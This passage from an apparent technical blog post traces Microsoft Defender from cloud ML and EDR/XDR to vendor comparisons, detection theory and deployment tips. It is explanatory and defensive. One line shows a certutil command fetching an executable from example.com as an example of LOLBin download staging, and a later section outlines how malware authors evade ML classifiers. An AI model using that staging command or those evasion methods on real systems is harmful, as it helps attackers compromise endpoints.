&lt;li&gt;&lt;strong&gt;On-device gradient-boosted trees (GBT):&lt;/strong&gt; Lightweight models that classify files based on static features -- PE header metadata, import tables, entropy scores. These run in milliseconds and handle the easy cases.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud deep neural networks (DNN):&lt;/strong&gt; For files the on-device model flags as uncertain, cloud-side DNNs perform deeper analysis on a richer feature set.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud sandboxes:&lt;/strong&gt; When ML models can&apos;t reach a confident verdict, the file is detonated in a behavioral sandbox. The sandbox observes what the file actually &lt;em&gt;does&lt;/em&gt; -- network connections, registry modifications, process spawning -- and classifies based on behavior rather than static features.&lt;/li&gt;
&lt;/ol&gt;

flowchart TD
    A[File encountered on endpoint] --&amp;gt; B[Local signature/hash check]
    B --&amp;gt;|Match| C[Known malware: Block]
    B --&amp;gt;|No match| D[On-device ML - GBT]
    D --&amp;gt;|Malicious| C
    D --&amp;gt;|Clean| E[Allow execution]
    D --&amp;gt;|Uncertain| F[Cloud query: send metadata + sample]
    F --&amp;gt; G[Cloud DNN analysis]
    G --&amp;gt;|Malicious| C
    G --&amp;gt;|Clean| E
    G --&amp;gt;|Uncertain| H[Cloud sandbox detonation]
    H --&amp;gt; I[Behavioral verdict]
    I --&amp;gt;|Malicious| C
    I --&amp;gt;|Clean| E
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The shift from file scanning to behavior understanding was the conceptual revolution. Signatures asked &quot;is this file known-bad?&quot; Cloud ML asked &quot;does this file look bad?&quot; AMSI asked &quot;is this behavior suspicious?&quot; Each layer addressed a different class of threat, and together they covered ground that no single approach could reach alone.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The results showed in independent testing. Defender&apos;s AV-TEST protection scores climbed from 0.5--2.0 (2012--2014) to 4.0--5.0 (2016--2017) to a consistent 6.0/6.0 from 2018 onward [@av-test]. AV-Comparatives awarded Microsoft Defender &quot;Approved Security Product&quot; for 2024 [@av-comparatives-2024].&lt;/p&gt;
&lt;p&gt;Defender could now detect zero-day malware in seconds and catch fileless attacks that traditional scanners missed entirely. But detection alone wasn&apos;t enough. What happens when malware gets past every layer? The SolarWinds attack was about to teach the entire industry that lesson.&lt;/p&gt;
&lt;h2&gt;Assume Breach: EDR and the XDR Vision&lt;/h2&gt;
&lt;p&gt;The SolarWinds Sunburst backdoor, discovered in December 2020, was delivered through a legitimately signed software update from a trusted vendor. It bypassed every prevention layer -- signatures, ML, behavioral monitoring, cloud analysis -- because the malicious code arrived through a channel that &lt;em&gt;should&lt;/em&gt; be trusted. Approximately 18,000 organizations installed the compromised update. The industry learned a painful lesson: prevention is necessary but insufficient.&lt;/p&gt;

Post-breach security capability that continuously monitors endpoint behavior, detects suspicious activity through behavioral analytics, correlates related alerts into incidents, and provides investigation and automated response tools. EDR operates on the &quot;assume breach&quot; philosophy -- accepting that prevention will inevitably be bypassed.
&lt;p&gt;Microsoft had anticipated this lesson. In March 2016, they announced Windows Defender Advanced Threat Protection (ATP) at RSA Conference -- an enterprise EDR service built into Windows 10. ATP represented a philosophical shift from &quot;prevent all threats&quot; to &quot;assume breach, detect, and respond.&quot;&lt;/p&gt;

flowchart LR
    A[Endpoint Sensors] --&amp;gt; B[Behavioral Telemetry]
    B --&amp;gt; C[Cloud Analytics]
    C --&amp;gt; D[Anomaly Detection]
    D --&amp;gt; E[Incident Correlation]
    E --&amp;gt; F{&quot;High Confidence?&quot;}
    F --&amp;gt;|Yes| G[Auto Remediation]
    F --&amp;gt;|No| H[SOC Analyst Review]
    G --&amp;gt; I[Kill Process / Isolate / Quarantine]
    H --&amp;gt; I
&lt;p&gt;The EDR architecture collects rich behavioral telemetry from endpoints -- process creation trees, file operations, network connections, registry changes, PowerShell execution logs. This telemetry streams to Microsoft&apos;s cloud, where ML models and behavioral rules detect attack patterns like credential dumping, lateral movement, and persistence mechanisms. Related alerts are automatically grouped into incidents spanning multiple machines and timeframes.&lt;/p&gt;
&lt;h3&gt;Attack Surface Reduction&lt;/h3&gt;
&lt;p&gt;Beyond detection, Microsoft introduced Attack Surface Reduction (ASR) rules -- configurable policies that block risky behaviors proactively [@asr-rules].&lt;/p&gt;

Configurable rules in Microsoft Defender that block specific dangerous behaviors before they execute -- for example, blocking Office applications from creating child processes, preventing credential theft from LSASS, or blocking execution of unsigned scripts from USB drives.
&lt;p&gt;ASR operates on a simple principle: certain behaviors are almost never legitimate. Office applications spawning child processes? Almost always malicious macro activity. A process reading LSASS memory? Almost always credential dumping. ASR blocks these patterns outright, without needing to classify the specific malware.&lt;/p&gt;
&lt;p&gt;Alongside ASR, Microsoft deployed Controlled Folder Access (protecting specified directories from unauthorized modification -- a direct anti-ransomware measure), Tamper Protection (preventing malware from disabling Defender itself), and Network Protection (blocking connections to known malicious domains).&lt;/p&gt;
&lt;h3&gt;From ATP to XDR&lt;/h3&gt;

Cross-domain security platform that correlates signals across endpoints, email, identity, and cloud applications into a unified detection and response system. XDR extends EDR&apos;s assume-breach philosophy from individual endpoints to the entire organizational attack surface.
&lt;p&gt;As the Sunburst incident demonstrated, ATP&apos;s fundamental limitation was endpoint-only visibility -- it had no insight into email-based attacks, identity compromises, or cloud application abuse. Sophisticated attacks span multiple vectors.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s response was to unify all its security products into Microsoft Defender XDR -- correlating signals from Defender for Endpoint, Defender for Office 365, Defender for Identity, and Defender for Cloud Apps. When a phishing email delivers a credential-stealing payload that enables lateral movement to a cloud application, XDR reconstructs the entire attack chain across all domains.&lt;/p&gt;
&lt;p&gt;The platform also went cross-platform. Between 2019 and 2020, Microsoft dropped &quot;Windows&quot; from the name and launched support for macOS (behavioral monitoring engine), Linux (initially auditd-based sensor, migrated to eBPF in 2023), Android, and iOS [@wp-defender]. In January 2022, Defender for Endpoint Plan 1 was included in Microsoft 365 E3 licenses at no extra cost, dramatically expanding the addressable market [@mde-p1-e3].On July 19, 2024, a faulty CrowdStrike Falcon content update caused approximately 8.5 million Windows systems to crash with the blue screen of death [@crowdstrike-outage]. The incident highlighted the catastrophic risk of kernel-mode security agents and the danger of uncontrolled global content rollouts.&lt;/p&gt;
&lt;p&gt;By 2024, Defender XDR achieved top-tier MITRE ATT&amp;amp;CK Enterprise results with zero false positives, with Microsoft specifically highlighting 100% technique-level detections across Linux and macOS attack stages [@mitre-2024]. The product lineage that scored 0.5/6 a decade earlier was now part of one of the top-performing security platforms in the industry. But how does it compare to the competition?&lt;/p&gt;
&lt;h2&gt;The Competition: How Defender Stacks Up&lt;/h2&gt;
&lt;p&gt;Microsoft isn&apos;t the only company that figured out cloud-scale endpoint protection. CrowdStrike, SentinelOne, Palo Alto Cortex XDR, and Sophos have all built formidable platforms. Each makes a different architectural bet -- and each has a distinctive weakness.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Microsoft Defender&lt;/th&gt;
&lt;th&gt;CrowdStrike Falcon&lt;/th&gt;
&lt;th&gt;SentinelOne Singularity&lt;/th&gt;
&lt;th&gt;Cortex XDR&lt;/th&gt;
&lt;th&gt;Sophos Intercept X&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Architecture&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OS-integrated + cloud&lt;/td&gt;
&lt;td&gt;Cloud-native agent&lt;/td&gt;
&lt;td&gt;Autonomous on-device AI&lt;/td&gt;
&lt;td&gt;Network + endpoint fusion&lt;/td&gt;
&lt;td&gt;Prevention-first DL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MITRE 2024 claim&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Enterprise: 100%, 0 FP&lt;/td&gt;
&lt;td&gt;Managed Services: fastest detection (4 min)&lt;/td&gt;
&lt;td&gt;Enterprise: 100%, 88% fewer alerts&lt;/td&gt;
&lt;td&gt;Enterprise: 100%, 0 FP&lt;/td&gt;
&lt;td&gt;Strong prevention&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OS Integration&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Deepest (AMSI, ELAM, Secure Boot)&lt;/td&gt;
&lt;td&gt;Third-party agent&lt;/td&gt;
&lt;td&gt;Third-party agent&lt;/td&gt;
&lt;td&gt;Third-party agent&lt;/td&gt;
&lt;td&gt;Third-party agent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Offline Capability&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;On-device ML + signatures&lt;/td&gt;
&lt;td&gt;Limited (on-device ML)&lt;/td&gt;
&lt;td&gt;Best (autonomous AI)&lt;/td&gt;
&lt;td&gt;On-device ML&lt;/td&gt;
&lt;td&gt;On-device DL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ransomware Defense&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Controlled Folder Access&lt;/td&gt;
&lt;td&gt;Behavioral detection&lt;/td&gt;
&lt;td&gt;VSS rollback&lt;/td&gt;
&lt;td&gt;Behavioral detection&lt;/td&gt;
&lt;td&gt;CryptoGuard rollback&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cost&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Included with M365 E3/E5&lt;/td&gt;
&lt;td&gt;Premium ($$$)&lt;/td&gt;
&lt;td&gt;Mid-premium ($$)&lt;/td&gt;
&lt;td&gt;Mid-premium ($$)&lt;/td&gt;
&lt;td&gt;Mid-market ($)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Key Differentiator&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OS integration + M365 stack&lt;/td&gt;
&lt;td&gt;Threat intel + managed hunting&lt;/td&gt;
&lt;td&gt;Autonomous response&lt;/td&gt;
&lt;td&gt;Network-endpoint fusion&lt;/td&gt;
&lt;td&gt;Long-tenured Gartner Leader&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Key Weakness&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Vendor lock-in&lt;/td&gt;
&lt;td&gt;Premium cost; July 2024 outage risk&lt;/td&gt;
&lt;td&gt;Smaller telemetry base&lt;/td&gt;
&lt;td&gt;Requires Palo Alto stack&lt;/td&gt;
&lt;td&gt;Enterprise perception&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;CrowdStrike Falcon&lt;/strong&gt; dominates the pure-play EDR market with cloud-native architecture and premium threat intelligence. In the 2024 MITRE Managed Services evaluation, CrowdStrike set the record for fastest detection at four minutes [@crowdstrike-mitre-speed]. But its July 2024 outage -- when a faulty content update crashed 8.5 million Windows systems [@crowdstrike-outage] -- exposed the risks of kernel-mode agents, and premium pricing makes it cost-prohibitive for many organizations.&lt;/p&gt;

The July 2024 CrowdStrike incident was not a cyberattack -- it was a quality assurance failure in a content update that went global without staged rollout. But it exposed a systemic risk: kernel-mode security agents have the same level of access as the OS kernel itself. A bug in the agent crashes the entire system. This is why Microsoft has invested in Virtualization-Based Security (VBS) and Hypervisor-protected Code Integrity (HVCI) -- moving security enforcement into a layer more resilient than the traditional kernel.
&lt;p&gt;&lt;strong&gt;SentinelOne Singularity&lt;/strong&gt; makes the opposite bet from CrowdStrike: autonomous on-device AI that can detect, respond, and remediate without cloud connectivity or human intervention. Its Storyline technology automatically chains related events into coherent attack narratives. In the 2024 MITRE evaluation, SentinelOne achieved 100% detection with 88% fewer alerts than the median vendor -- the best signal-to-noise ratio [@sentinelone-mitre]. Its ransomware rollback via VSS snapshots is a unique capability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Palo Alto Cortex XDR&lt;/strong&gt; brings a network-centric heritage, uniquely correlating firewall telemetry with endpoint data. It achieved 100% technique-level detection with no configuration changes, and the highest prevention rate with zero false positives in MITRE 2024 -- the first participant to achieve 100% detection with no configuration changes ever [@cortex-xdr-mitre]. But without Palo Alto firewalls, Cortex XDR loses its key differentiator.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sophos Intercept X&lt;/strong&gt; holds one of the longer tenures as a Gartner EPP Leader, with 16 consecutive years of Leader placements (since the inaugural 2007 EPP Magic Quadrant) by 2025 [@sophos-gartner-2025]. Its deep learning engine and CryptoGuard anti-ransomware technology are strong, and its pricing targets the mid-market effectively.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you&apos;re in the Microsoft 365 environment, Defender for Endpoint offers the best cost-to-value ratio with the deepest OS integration. If you need cloud-native threat intelligence with managed hunting, CrowdStrike Falcon is the premium choice. If autonomous offline protection matters most, SentinelOne excels. If you have Palo Alto firewalls, Cortex XDR&apos;s network-endpoint correlation is unmatched. For mid-market budgets, Sophos offers strong prevention at competitive pricing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;All five platforms achieve remarkable detection rates -- 99.9%+ in controlled testing. But none of them can be perfect. A 1986 PhD thesis proved that, and the proof still holds.&lt;/p&gt;
&lt;h2&gt;Theoretical Limits: The Defender&apos;s Dilemma&lt;/h2&gt;
&lt;p&gt;In his 1986 dissertation, with the journal version following in 1987, Fred Cohen proved something uncomfortable: perfect virus detection is mathematically impossible [@cohen-1986]. His proof reduces the problem to the Halting Problem -- and Alan Turing showed in 1936 that the Halting Problem is undecidable. Every antivirus product, including Defender, operates under this ceiling.&lt;/p&gt;

The general form of the virus detection problem is algorithmically undecidable. -- Fred Cohen, 1986 dissertation [@cohen-1986]
&lt;p&gt;The proof works by contradiction. Assume a perfect virus detector $D(P)$ exists -- a function that takes any program $P$ as input and returns &lt;code&gt;true&lt;/code&gt; if $P$ is a virus and &lt;code&gt;false&lt;/code&gt; otherwise. Now construct a program $V$ that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Runs $D$ on itself&lt;/li&gt;
&lt;li&gt;If $D(V)$ says &quot;virus,&quot; $V$ does nothing harmful (benign behavior)&lt;/li&gt;
&lt;li&gt;If $D(V)$ says &quot;not a virus,&quot; $V$ becomes a virus&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This creates a contradiction: if $D$ says $V$ is a virus, $V$ is benign. If $D$ says $V$ is benign, $V$ is a virus. Therefore, $D$ cannot exist. The construction mirrors Turing&apos;s proof that no algorithm can determine whether an arbitrary program halts.&lt;/p&gt;

flowchart TD
    A[Assume perfect detector D exists] --&amp;gt; B[Construct program V]
    B --&amp;gt; C[V runs D on itself]
    C --&amp;gt; D1{&quot;D says V = virus?&quot;}
    D1 --&amp;gt;|Yes| E[V does nothing harmful]
    D1 --&amp;gt;|No| F[V becomes a virus]
    E --&amp;gt; G[Contradiction: V is benign but D said virus]
    F --&amp;gt; H[Contradiction: V is a virus but D said benign]
    G --&amp;gt; I[Therefore D cannot exist]
    H --&amp;gt; I

A property of computational problems for which no algorithm can produce a correct answer for all possible inputs. Fred Cohen&apos;s 1986 dissertation proof that general virus detection is undecidable means that no antivirus -- no matter how advanced its ML models or how vast its training data -- can correctly classify every possible program as malicious or benign.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Defender achieving 100% in MITRE evaluations is remarkable -- but it is 100% of &lt;em&gt;that specific test set&lt;/em&gt;, not 100% of all possible malware. The theoretical ceiling is real and unbridgeable. No amount of ML training data or cloud compute will ever close the gap.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;The Base Rate Fallacy&lt;/h3&gt;
&lt;p&gt;Even setting aside undecidability, practical detection at scale faces a statistical nightmare. Consider a system with 99.99% accuracy scanning 100 billion events per day across a large enterprise. A 0.01% false positive rate yields approximately 10 million false alerts per day. This is the base rate fallacy: when the base rate of true positives is low (most events are benign), even extremely accurate classifiers produce overwhelming false positive volumes.&lt;/p&gt;
&lt;p&gt;$$\text{False Positives} = \text{Total Events} \times (1 - \text{Specificity}) = 10^{11} \times 10^{-4} = 10^{7}$$&lt;/p&gt;
&lt;p&gt;This is why Defender&apos;s zero false positives in the MITRE evaluation -- against a curated test set of dozens of scenarios -- is impressive but not directly translatable to production environments processing billions of events.In 1996, Adam Young and Moti Yung -- Young at Columbia University and Yung at IBM Research -- introduced &quot;cryptovirology,&quot; the theoretical framework for using public-key cryptography offensively in malware [@young-yung-1996]. They predicted the ransomware extortion model a full decade before real-world ransomware epidemics. Their work informs the cryptographic threat models that Defender&apos;s Controlled Folder Access and modern anti-ransomware features are designed to counter.&lt;/p&gt;
&lt;h3&gt;The Adversarial ML Problem&lt;/h3&gt;
&lt;p&gt;ML models can be evaded by design. Adversarial machine learning research has shown that carefully crafted perturbations can cause classifiers to misclassify malicious files as benign while preserving malicious functionality. NIST published a taxonomy of these attacks in March 2025 [@nist-adversarial-ml], and a 2025 IEEE Access survey cataloged adversarial evasion techniques specific to malware analysis [@adversarial-malware-survey].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; As ML becomes the primary detection mechanism across all major endpoint protection platforms, adversarial evasion attacks become a systemic industry risk. A technique that evades one vendor&apos;s ML model may generalize to others trained on similar features. There is currently no provably resilient defense against adversarial malware perturbations.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We can&apos;t build a perfect antivirus. But we can make attacks so expensive that most threat actors can&apos;t afford to succeed. The real question is: what&apos;s left to solve?&lt;/p&gt;
&lt;h2&gt;Open Problems: The Frontier&lt;/h2&gt;
&lt;p&gt;Defender XDR represents the state of the art, but the problems it can&apos;t yet solve are arguably more interesting than the ones it has solved.&lt;/p&gt;
&lt;h3&gt;Adversarial ML Evasion&lt;/h3&gt;
&lt;p&gt;The adversarial ML problem is the most pressing theoretical challenge in endpoint protection. Attackers use three main strategies to fool ML classifiers [@adversarial-malware-survey]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gradient-based evasion:&lt;/strong&gt; Attackers compute the gradient of the ML model&apos;s loss function and apply small perturbations -- appending benign bytes, modifying unused PE header fields, or inserting dead code -- that flip the classifier&apos;s verdict from &quot;malicious&quot; to &quot;benign&quot; without changing the file&apos;s behavior.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature-space manipulation:&lt;/strong&gt; Rather than targeting the model directly, attackers modify features the model relies on. Packing a binary to reduce entropy, removing suspicious imports, or injecting benign API calls can shift the feature vector into &quot;clean&quot; territory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Black-box transfer attacks:&lt;/strong&gt; Attackers train a substitute model on the same public malware datasets, generate adversarial examples against it, and rely on transferability -- the observation that perturbations effective against one model often fool others trained on similar data.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Defenses carry trade-offs. Adversarial training (retraining on adversarial examples) improves resilience but reduces accuracy on clean samples by 2--5%. Defensive distillation smooths decision boundaries but is vulnerable to targeted Carlini-Wagner attacks. Certified resilience bounds provide formal guarantees for specific perturbation radii but scale poorly to the high-dimensional feature spaces of PE files [@nist-adversarial-ml].&lt;/p&gt;
&lt;p&gt;The fundamental difficulty is asymmetric: the attacker only needs to find one evasion; the defender must block all of them. This asymmetry may be irreducible -- it follows from the same undecidability result that limits all virus detection.&lt;/p&gt;
&lt;h3&gt;Living-off-the-Land Binaries&lt;/h3&gt;

Legitimate, Microsoft-signed system binaries -- such as PowerShell, certutil.exe, mshta.exe, and bitsadmin.exe -- that attackers repurpose for malicious activities. Because these tools are trusted by the OS and required for legitimate operations, they cannot simply be blocked without breaking normal functionality.
&lt;p&gt;Attackers increasingly use the system&apos;s own tools against it. Cybereason incident response found LOLBin involvement in an estimated 17% of security incidents in Q3 2025, up from roughly 13% in the first half of the year [@cybereason-lolbin]. The LOLBAS project catalogs hundreds of legitimate binaries, scripts, and libraries that can be abused [@lolbas-project].&lt;/p&gt;
&lt;p&gt;The detection challenge is distinguishing legitimate from malicious use of the same binary. When a system administrator runs &lt;code&gt;certutil -urlcache -split -f http://example.com/update.exe&lt;/code&gt;, is it a legitimate download or attacker staging? Current detection approaches analyze command-line arguments, parent process context, and execution frequency baselines -- but false positive rates remain high for these ambiguous use cases. ML models trained on command-line features show promise, but they struggle with novel argument combinations that differ from training data.&lt;/p&gt;
&lt;h3&gt;Privacy-Preserving Telemetry&lt;/h3&gt;
&lt;p&gt;Cloud-delivered protection requires sending endpoint telemetry to vendor cloud infrastructure, raising significant privacy concerns under regulations like GDPR and CCPA. Organizations in sensitive sectors -- government, healthcare, finance -- may refuse to share endpoint data with cloud services.&lt;/p&gt;
&lt;p&gt;Federated learning (FL) offers a path forward: training ML models across distributed endpoints without centralizing raw data. Each endpoint trains a local model on its own data and shares only model weight updates -- not raw telemetry -- with a central aggregator. Recent research (2024) demonstrated FL-trained malware detection models achieving detection rates comparable to centralized approaches, with strong adversarial resilience [@fl-malware-2024].&lt;/p&gt;
&lt;p&gt;The challenge is federated convergence. Heterogeneous endpoint environments (different OS versions, installed software, usage patterns) create non-IID data distributions. These statistical differences slow model convergence and cause minor to non-negligible accuracy impact depending on distribution heterogeneity. Communication efficiency is another bottleneck: frequent weight updates consume bandwidth, while infrequent updates slow convergence further.&lt;/p&gt;
&lt;h3&gt;Supply Chain Attack Detection&lt;/h3&gt;
&lt;p&gt;The SolarWinds lesson remains unresolved. When malicious code arrives through a legitimately signed software update from a trusted vendor, every endpoint protection layer is bypassed by design. Current partial solutions include Software Bill of Materials (SBOM) tracking, build environment integrity verification via the SLSA framework, and behavioral monitoring of post-update software activity. None achieves full supply chain integrity verification -- the problem requires verifying the entire build and distribution pipeline, not just the final artifact.&lt;/p&gt;
&lt;h3&gt;The Bootstrap Problem&lt;/h3&gt;
&lt;p&gt;Endpoint protection agents run at kernel level to monitor the system, but the agent is only as trustworthy as the kernel itself. A kernel-level compromise (rootkit) subverts the protector entirely. Windows 11 Secured-core PCs address this with layered hardware trust: &lt;a href=&quot;https://paragmali.com/blog/the-windows-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;Virtualization-Based Security&lt;/a&gt; (VBS) isolates security-critical code in a hypervisor-protected enclave, Hypervisor-protected Code Integrity (HVCI) ensures only signed code runs in kernel mode, and Credential Guard protects authentication secrets from kernel-level theft. Intel Threat Detection Technology (TDT) offloads some detection to CPU microcode. But no solution provides formal verification of kernel integrity at runtime -- the chain of trust always terminates at hardware, and hardware can be compromised too.&lt;/p&gt;

The &quot;who protects the protector?&quot; problem has no complete software-only solution. Hardware-assisted security (TPM, Intel TDT, AMD SEV) pushes the trust anchor deeper, but the chain of trust always terminates somewhere.
&lt;p&gt;Windows Defender started as an antispyware tool that couldn&apos;t detect viruses. It evolved through failure, humiliation, and relentless engineering into one of the world&apos;s most sophisticated security platforms. The next chapter -- adversarial ML, supply chain integrity, privacy-preserving telemetry -- is being written now. The only certainty is Fred Cohen&apos;s: perfection is provably impossible. But the pursuit of it protects a billion endpoints every day.&lt;/p&gt;
&lt;h2&gt;Practical Guide: Deploying Defender Today&lt;/h2&gt;
&lt;p&gt;Theory is interesting, but if you&apos;re responsible for securing endpoints, you need practical guidance. Here&apos;s how to get the most out of Defender.&lt;/p&gt;
&lt;h3&gt;Consumer vs. Enterprise Tiers&lt;/h3&gt;
&lt;p&gt;Windows Security (the consumer-facing app built into Windows 10/11) provides next-generation antivirus, cloud-delivered protection, and basic firewall management. For enterprises, Defender for Endpoint comes in two plans [@mde-p1-e3]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Plan 1&lt;/strong&gt; (included in M365 E3): Next-gen AV, ASR rules, device-based conditional access, Tamper Protection&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plan 2&lt;/strong&gt; (M365 E5 or standalone): Everything in P1 plus EDR, automated investigation and response, threat analytics, advanced hunting, and Security Copilot integration&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Enabling Cloud Protection&lt;/h3&gt;
&lt;p&gt;Cloud-delivered protection is the single most impactful feature to verify [@cloud-protection]. Without it, Defender falls back to local signatures -- essentially regressing to 2015-era detection. Verify it&apos;s enabled:&lt;/p&gt;

Open PowerShell as administrator and run:
```
Get-MpPreference | Select-Object MAPSReporting, SubmitSamplesConsent, CloudBlockLevel, CloudExtendedTimeout
```
Ideal values: `MAPSReporting = 2` (Advanced), `SubmitSamplesConsent = 1` (Send safe samples automatically), `CloudBlockLevel = 2` or higher.
&lt;p&gt;{`
// Signature-based detection: exact hash match
function signatureDetect(fileHash, signatureDB) {
  return signatureDB.includes(fileHash);
}&lt;/p&gt;
&lt;p&gt;// ML-based detection: feature vector classification
function mlDetect(features) {
  const { entropy, suspiciousImports, isPacked } = features;
  const score = (entropy &amp;gt; 7.0 ? 0.4 : 0) + 
                (suspiciousImports &amp;gt; 5 ? 0.3 : 0) + 
                (isPacked ? 0.3 : 0);
  return { malicious: score &amp;gt; 0.5, confidence: score };
}&lt;/p&gt;
&lt;p&gt;// Polymorphic malware: same behavior, different hash every time
const malwareHashes = [&apos;abc123&apos;, &apos;def456&apos;, &apos;ghi789&apos;];
const signatureDB = [&apos;abc123&apos;]; // Only first variant known&lt;/p&gt;
&lt;p&gt;console.log(&apos;--- Signature-Based Detection ---&apos;);
malwareHashes.forEach((hash, i) =&amp;gt; {
  const detected = signatureDetect(hash, signatureDB);
  console.log(&apos;Variant &apos; + (i+1) + &apos; (&apos; + hash + &apos;): &apos; + (detected ? &apos;DETECTED&apos; : &apos;MISSED&apos;));
});&lt;/p&gt;
&lt;p&gt;console.log(&apos;\n--- ML-Based Detection ---&apos;);
// All variants share behavioral features despite different hashes
const sharedFeatures = { entropy: 7.8, suspiciousImports: 8, isPacked: true };
malwareHashes.forEach((hash, i) =&amp;gt; {
  const result = mlDetect(sharedFeatures);
  console.log(&apos;Variant &apos; + (i+1) + &apos;: &apos; + (result.malicious ? &apos;DETECTED&apos; : &apos;MISSED&apos;) + &apos; (confidence: &apos; + result.confidence + &apos;)&apos;);
});&lt;/p&gt;
&lt;p&gt;console.log(&apos;\nSignatures caught 1/3 variants. ML caught 3/3.&apos;);
console.log(&apos;This is why 96% of unique malware requires ML, not signatures.&apos;);
`}&lt;/p&gt;
&lt;h3&gt;ASR Rules: What to Enable&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Always deploy ASR rules in audit mode first (Mode = 2) and monitor for false positives in your environment before switching to block mode (Mode = 1). Aggressive ASR rules can break legitimate line-of-business applications.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The highest-impact ASR rules to enable first [@asr-rules]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Block Office applications from creating child processes&lt;/li&gt;
&lt;li&gt;Block credential stealing from the Windows local security authority subsystem (LSASS)&lt;/li&gt;
&lt;li&gt;Block executable content from email client and webmail&lt;/li&gt;
&lt;li&gt;Block abuse of exploited vulnerable signed drivers&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Common Pitfalls&lt;/h3&gt;

The most common Defender misconfiguration is overly broad antimalware exclusions -- excluding entire directories or file types for performance reasons. Attackers actively target excluded paths; if `C:\Temp` is excluded, dropping malware there bypasses all scanning. Always exclude the narrowest possible path, and audit your exclusions regularly.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Organizations that disable cloud-delivered protection for performance or privacy reasons lose the most powerful detection layer. On-device models alone miss an estimated 10--15% of threats that cloud models catch. If privacy regulations require limiting telemetry, use the &quot;Send safe samples automatically&quot; option rather than disabling cloud protection entirely.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Other common pitfalls:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Agent conflicts:&lt;/strong&gt; Running multiple endpoint protection agents simultaneously (e.g., Defender + CrowdStrike) causes performance degradation and detection conflicts. Configure one agent in passive mode.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delayed signature updates:&lt;/strong&gt; Organizations with restricted update policies may have definition databases days behind, creating unnecessary vulnerability windows.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;

For most consumers and Microsoft 365 enterprise environments, Defender provides top-tier protection. It consistently scores 6/6/6 on AV-TEST and achieved top-tier MITRE ATT&amp;amp;CK Enterprise results with zero false positives in 2024. Third-party solutions like CrowdStrike or SentinelOne may be preferable if you need specialized managed threat hunting, autonomous offline protection, or your organization is not in the Microsoft 365 environment.

AV-TEST consistently gives Defender 6/6 for performance impact -- meaning minimal slowdown on standard operations. Cloud-based analysis offloads heavy ML inference to Microsoft&apos;s servers, keeping the on-device footprint light. Some users notice brief delays when opening unusual files for the first time (Block at First Sight holding the file for a cloud verdict), but this typically resolves in under a second.

Yes, through multiple layers. Controlled Folder Access blocks unauthorized modification of protected directories. ASR rules block common ransomware delivery vectors (Office macros spawning processes, email-delivered executables). Cloud ML detects known and novel ransomware variants. Tamper Protection prevents ransomware from disabling Defender. However, no endpoint protection product can guarantee 100% ransomware prevention -- maintain offline backups as a last-resort defense.

